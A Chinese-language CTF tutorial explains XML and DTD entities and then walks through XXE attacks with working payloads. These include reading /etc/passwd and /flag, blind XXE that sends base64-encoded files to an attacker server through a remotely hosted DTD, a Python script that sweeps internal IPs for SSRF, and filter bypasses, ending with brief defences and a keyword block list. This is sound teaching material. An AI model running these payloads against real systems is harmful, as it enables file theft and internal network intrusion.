XML 基础

什么是 XML

  • XML 指可扩展标记语言(Extensible Markup Language)
  • XML 是一种标记语言,很类似 HTML
  • XML 的设计宗旨是传输数据,而非显示数据
  • XML 标签没有被预定义。您需要自行定义标签。
  • XML 被设计为具有自我描述性。
  • XML 是 W3C 的推荐标准

特点:

仅仅是纯文本,他不会做任何事情,XML可以自己发明标签(允许定义自己的标签和文档结构),他常被用于数据的传输格式。

XML文件格式如下:

alt text

XML 构成

alt text

DTD

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。

DTD 可以在 XML 文档内声明,也可以外部引用。

内部声明:

alt text

外部声明:

alt text

实体

根据类型划分,实体一般分为 一般实体参数实体

一般实体

一般实体(通用实体)的声明语法: <!ENTITY 实体名 "实体内容">

引用实体的方式: &实体名;

在 DTD 中定义实体,在 XML 文档中引用:

alt text

参数实体

参数实体只能在 DTD 中使用,参数实体的声明格式: <!ENTITY % 实体名 "实体内容">

引用实体的方式: %实体名;

只能在 DTD 文件中,参数实体的声明才能引入其他实体

和一般实体(通用实体)一样,参数实体也可以外部引用。

alt text

data.dtd 内容如下:

1
<!ENTITY test SYSTEM "http://127.0.0.1/1.txt">

有回显XXE

源码

1
2
3
4
5
6
7
8
9
10
<?php 
error_reporting(0);
highlight_file(__FILE__);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents("php://input");
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>

PAYLOAD

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE crdes [
<!ENTITY goodies SYSTEM "file:///etc/passwd">
]>
<crdes>
&goodies;
</crdes>

alt text

无回显XXE

源码

1
2
3
4
5
6
7
8
<?php 
error_reporting(0);
highlight_file(__FILE__);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents("php://input");
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

PAYLOAD

首先在云服务器中新建 1.dtd 文件,内容如下:

1
<!ENTITY % dtd "<!ENTITY &#x25; xxe  SYSTEM 'http://IP:2333/?content=%file;'> ">

接着传入在云服务器上监听 2333 端口:

alt text

最后传入如下内容:

1
2
3
4
5
6
7
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % hack SYSTEM "https://www.qwesec.com/1.dtd">
%hack;
%dtd;
%xxe;
]>

alt text

回到云服务器当中,即可看到此时获取到 /flag 文件的内容。

alt text

我们从 PAYLOAD 中可以看到连续调用了三个实体: %hacker;%dtd%xxe、这就是我们利用的顺序,%hacker; 先调用,调用后请求服务器上的 1.dtd,有点类似于将 1.dtd 包含起来,然后 %dtd 调用 %file 用于获取文件 /flag 内容。然后将 %file 的结果填入到 %xxe 当中(因为实体的值不能有%,所以将其转成html实体编码 &#37;),我们再调用 %xxe; 就把我们读取的数据发送到远程的 vps 上,这样就实现了数据外带的效果,完美的解决了 XXE 无回显的问题。

小结

  1. 由于 XXE 语法的特殊性,导致 bypass 的方法不是很多,所以比较简单,payload 形式比较单一。
  2. 好定位,抓包看传输方式,如果是 XML 形式提交的数据则可以考虑XXE,否则无需考虑,如果有过滤,可以针对 bypass 进行过滤,并且可以确定是XXE的题。
  3. 由于 PAYLOAD 比较单一,收藏好有回显和无回显的 PAYLODAD,每次都是通用打,一键打。

例题-1 有回显的 XXE

选自: [NCTF2019]Fake XML cookbook BUUCTF 可开环境

PAYLOAD:

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>admin</password></user>

alt text

例题-2 有回显的 XXE SSRF

获取本机IP

1
2
3
4
5
6
7
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///proc/net/arp">
]>
<user>
<username>&xxe;</username>
<password>admin</password>
</user>

alt text

除了 /proc/net/arp 文件以外还有 /etc/hosts/etc/network/interfaces/proc/net/fib_trie 都可以收集到网络信息。

SSRF 探测

这里编写个脚本对以上结果进行 http 访问即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests as res
url="http://e20caba6-db80-4666-9505-e87b481cf6f8.node5.buuoj.cn/doLogin.php"
rawPayload='<?xml version="1.0"?>'\
'<!DOCTYPE user ['\
'<!ENTITY payload1 SYSTEM "http://10.244.80.{}">'\
']>'\
'<user>'\
'<username>'\
'&payload1;'\
'</username>'\
'<password>'\
'23'\
'</password>'\
'</user>'
for i in range(1,256):
payload=rawPayload.format(i)
#payload=rawPayload
print(str("#{} =>").format(i),end='')
try:
resp=res.post(url,data=payload,timeout=0.5)
except:
continue
else:
print(resp.text,end='')
finally:
print('')

alt text

例题-3 无回显的 XXE

选自:sqlsec/xxe:v2 使用 docker 拉取该镜像即可

1
docker run -itd -p 8080:80 sqlsec/xxe:v2

PAYLOAD:

首先在云服务器中新建 2.dtd 文件,内容如下:

1
2
3
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % send "<!ENTITY xxe SYSTEM 'http://120.48.128.24:2333/%file;'>">
%send;

接着传入在云服务器上监听 2333 端口:

alt text

最后传入如下内容:

1
2
3
4
5
<!DOCTYPE user SYSTEM "https://www.qwesec.com/2.dtd">
<user>
<username>&xxe;</username>
<password>admin</password>
</user>

alt text

alt text

bypass

过滤 SYSTEM

过滤 SYSTEM 可以使用 PUBLIC "x1ongsec"

例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
error_reporting(0);
highlight_file(__FILE__);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents("php://input");
if (!preg_match('/SYSTEM/i',$xmlfile)) {
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
} else {
echo "hacker!";
}
?>

PAYLOAD:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE crdes [
<!ENTITY goodies PUBLIC "x1ongsec" "file:///etc/passwd">
]>
<crdes>
&goodies;
</crdes>

alt text

过滤 dtd

引入的外部 dtd 文件不一定非要以 .dtd 结尾,因此换成其他后缀即可。

其他过滤

通常 XXE 漏洞存在于 XML 文档的开头,有的 WAF 会检测 XML 文档中开头中的某些子字符串或正则表达式,但是 XML 格式在设置标签属性的格式时允许使用任意数量的空格,因此我们可以在 <?xml ?><!DOCTYPE> 中插入数量足够多的控股去绕过 WAF 的检测。

XXE 防御方式

使用开发语言提供的禁用外部实体的方法:

1
libxml_disable_entity_loader(true);
1
2
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

手工过滤用户提交的恶意数据:

<!DOCTYPE <!ENTITY 或者 SYSTEM PUBLIC 等恶意关键词